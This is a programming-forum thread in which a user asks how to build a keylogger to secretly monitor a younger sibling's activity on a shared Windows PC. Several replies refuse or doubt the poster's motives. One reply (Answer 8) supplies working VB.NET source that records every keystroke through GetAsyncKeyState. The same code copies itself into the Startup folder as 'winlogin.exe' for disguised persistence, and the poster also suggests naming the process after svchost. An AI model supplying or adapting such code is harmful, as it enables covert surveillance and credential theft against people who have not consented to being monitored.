Home » Visual StudioRSS

Keylogger using Notepad. Windows XP

Can I make a keylogger, using NOTHING but notepad?

Is it possible?

I am a COMPLETE amateur at VBS

I can barely write a program that can open and close a cd tray >.>...

 

Anyway.

Let me know please.

Thanks,

 

14 Answers Found

 

Answer 1

Why not create simple an application with a textbox, that is almost a notepad,

Because of the fact that keylogers are base of malicious code, is it not clean to show that in a forum.

 

 

Answer 2

I'm sorry, relatively new to the programming side of computers.

I was more into the Sys. Admin. side.

My little brother however seems to be...

Creating a .bat file....

I would like to know what it is...

I'm hoping he is putting his knowledge to GOOD use...

But, I am STILL curious none the less.

Sure he's only 13 but, still...

The reason why I am asking for a keylogger, is because he is doing this ONLINE, somewhere, on some site and saving it there.

What's more is that he's using MY computer.

I would rather NOT have him getting ME in trouble since the P.C. is primarily mine.

 

 

How do I KNOW, I've walked in on him several times... only to see him closing a window with various code, like I said, COMPLETE amateur... so who knows.

Id LOVE to tell our parents but... well I'm not sure they know what email is.

So, I doubt they would do anything >.>...

The only reason I know it's a .bat or something is because I can go to my history, and see his activity and it is saved on some random like social site and the file is called like .bat.

 

I know this is not clean, to show on a forum, so if you could perhaps email me the instructions?

darkwolf(at)gmx.com

(At)=@

 

And seriously.

What's a textbox?

are we talking like

mgsbox=

stuff or like, something else?

 
 

Answer 4

What if your brother detect the keylogger program on your computer and terminate before doing any typing on the keyboard? he may be smart enough to know if program is keylogger.

You may try other forums outside MSDN. There are some forum or blog out there that will give you the code you need but any malicious activities is prohibited on MSDN. Also, freeware keylogger are out there which you can download.

If you want to create yours from scratch, then try keylogger forum for tutorial http://forum.keylogger.org/?board=discussion

kaymaf

 

 

 

Answer 5

What if your brother detect the keylogger program on your computer and terminate before doing any typing on the keyboard? he may be smart enough to know if program is keylogger.


CODE CONVERTER SITE

http://www.carlosag.net/Tools/CodeTranslator/ .

http://www.developerfusion.com/tools/convert/csharp-to-vb/ .

He's smart.  I'll give him that, but I'm smarter.

He doesn't have the permissions to terminate a process.

And I'm PRETTY sure there's a way to label it as svchost or something.

Maybe I WILL keep the name, keylogger, or whatever it is.

Let him KNOW it is there, so he is deterred from doing anything malicious.

I don't necessarily NEED to know what he's working on, only that it's NOT malicious and if it is, he'll cease it immediately.

 

Try this link

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/batch.mspx?mfr=true


Coding4fun Be a good forum member mark posts that contain the answers to your questions or those that are helpful
Please format the code in your posts with the button . Makes it easier to read . Or use the Forum Code Formatter by JohnWein http://social.msdn.microsoft.com/Forums/en-US/vbgeneral/thread/bf977a14-d9d4-4e84-9784-bf76b9e23261

I thank you for the link, but I'm pretty familiar with what a .bat file is.

I can create several, whether it be a prank type thing or a disk cleanup, I have one on my desktop right now, that is a shutdown button. Although, this is by using DOS cmd. So *Shrug*.

 

And seriously, again...

What's a textbox >.>...(Sorry, again, a complete amateur.)

Does it go by any different names?

Thanks for the help though, I appreciate it.

I will try all the forum links and tell you the ones that worked.


Young, and learning...Have mercy.
 

Answer 6

The reason why I am asking for a keylogger, is because he is doing this ONLINE, somewhere, on some site and saving it there.

How is he able to do that on a site that he does not control or have administrator rights ?

 

Answer 7

I'm sorry, relatively new to the programming side of computers.

My little brother however seems to be...

Creating a .bat file....

I'm hoping he is putting his knowledge to GOOD use...

But, I am STILL curious none the less.

Sure he's only 13 but, still...

 


Young, and learning...Have mercy.

 

well, with a Forum name like Chaos_Edit and an email address like darkwolf, I really wonder WHO is doing what...

and why is it always "my little brother" or "my little sister" is doing this?

Anyway,

http://social.msdn.microsoft.com/Forums/en-US/vbgeneral/thread/053a0a87-e9b8-42e7-b483-d6d47c41278e

And as kaymaf said, this is not the place to ask a question like that. Find another less responsible Forum or blog. Hopefully the moderators will lock this thread.

 

Answer 8

Here is one key logger i made, basically it writes every letter typed to a textbox. (it also installs itself into the start-up folder no matter what OS you have (XP or Vista or 7 or ETC.)

Public Class Form1
  Dim result As Integer
  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    For i = 1 To 255
      result = 0
      result = GetAsyncKeyState(i)
      If result = -32767 Then
        TextBox1.Text = TextBox1.Text + Chr(i)
      End If
    Next i
  End Sub

  Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    If System.IO.File.Exists("C:\users\" & System.Environment.UserName & _
                 "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") = False Then

      FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\users\" & System.Environment.UserName & _
           "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe")
    Else
      If System.IO.File.Exists("C:\Documents and Settings\" & System.Environment.UserName & "\Start Menu\Programs\Startup\winlogin.exe") = False Then

        FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Start Menu\Programs\Startup\winlogin.exe")
      End If
    End If
  End Sub
End Class

 

 

 

Answer 9

Thank, RollsRoycePhantom95.

For the REST of you >.<

Darkwolf was an account I created five years ago, bite me, I was a moody depressed teenager.

Chaos, is currently my nickname. NO it has NOTHING to do with computers.

And again, WTF is a Textbox. >.<

Oh, and, would I like, put this as like a .bat?

Or VBS?

Or....

And, where would I go to view what has been typed?

 

I TOLD you people that i have NO idea >.< when it comes to the programming side.

I can open a CD tray... with a VBS script. THAT'S IT!!

 

Ok, sorry for being so rude.

Thank you, to all those who helped and gave suggestions.

 

Answer 10

And again, WTF is a Textbox. >.<

It's a small furry animal indiginous to certain areas of the higher mountains in ...

 

If you're not even familiar with this, with all due respect, what led you to this forum?

 

Answer 11

Ok, I think...

I may be getting confused...

A textbox is OBVIOUSLY something you type in >.>...DUH >.<

But, the first user said

Why not create simple an application with a textbox, that is almost a notepad

That made it sound like a type of program...

 

Anyway, I know this is the coding forum.

I know keyloggers are code.

And, I know that if I were to ask on the Answers forum (That I frequently habit and help out on) they would point me here.

 

Answer 12

Just keep who ever it is off your computer . I don't think your going to get much help here since your knowledge is too limited to understand what he might be doing and it would take too long to explain the most basic information to you . You supply only vague information so all your going to get is someones best guess . I won't help anyone make a keylogger and do not want anyone else on this forum to do so either . Besides even if you had a keylogger you wouldn't understand what your reading anyway even if in fact what you say is even true in the first place . This forum is for helping people with thier code not covering your butt . If your that concerned password protect your computer and when you let someone use it monitor their every move .
 

Answer 13

Ok

1) The program should be a windows forms application.

2) A textbox is what you view text in

3) Depends how will you want to view the key logged text reply and i will help you with that.

P.S Do you have any version of Microsoft Visual Basic.

I hope you are using this on your comp. not someone else's. I don't want to aid in malicious program development.

 

Answer 14

The answer to your original question is Yes - it is possible to create program code (such as a VB Script) using only the facilities of notepad.  The program code is simply a plain text file.    The reference to a text box was irrelevant. 

To make that code do something useful requires additional facilities, such as a compiler or interpreter. You would have used an interpreter when you executed that code you wrote to open and close the CD tray.

For instance, VBS and QuickBASIC source code is often created using a simple text editor such as notepad.  It is then executed with an interpreter.

Whether or not the program that is created can do key logging depends on the language used - not on the utility that was used to create the source code.   Not all programming languages support source code created using a text editor such as notepad, so you need to match the ability to use plain text files for creating the source code (because that's what notepad can do) with the ability to create the sort of code that can do keylogging.

For instance, although VB.Net can support plain text files for the source code, it is complex and not worth the trouble.  It can be used to create keylogging code.  VBS can use plain text files for the source code (it doesn't have any other way of creating them) but I don't know if it can do keylogging or not - I suspect not.

If the critical point is that you only want to use notepad or similar, then ask in a VBS forum about whether or not VBS can be used to create a keylogger (but be ready for questions about your motives).

If the critical point is that you need to create a keylogger, then ask about how to do that in VB .Net, because there's no point in using notepad to create VB .Net source code when you have all the facilities of the development environment available to you.  But be ready for enquries about your motives.

 
 
 

<< Previous      Next >>


Microsoft   |   Windows   |   Visual Studio   |   Follow us on Twitter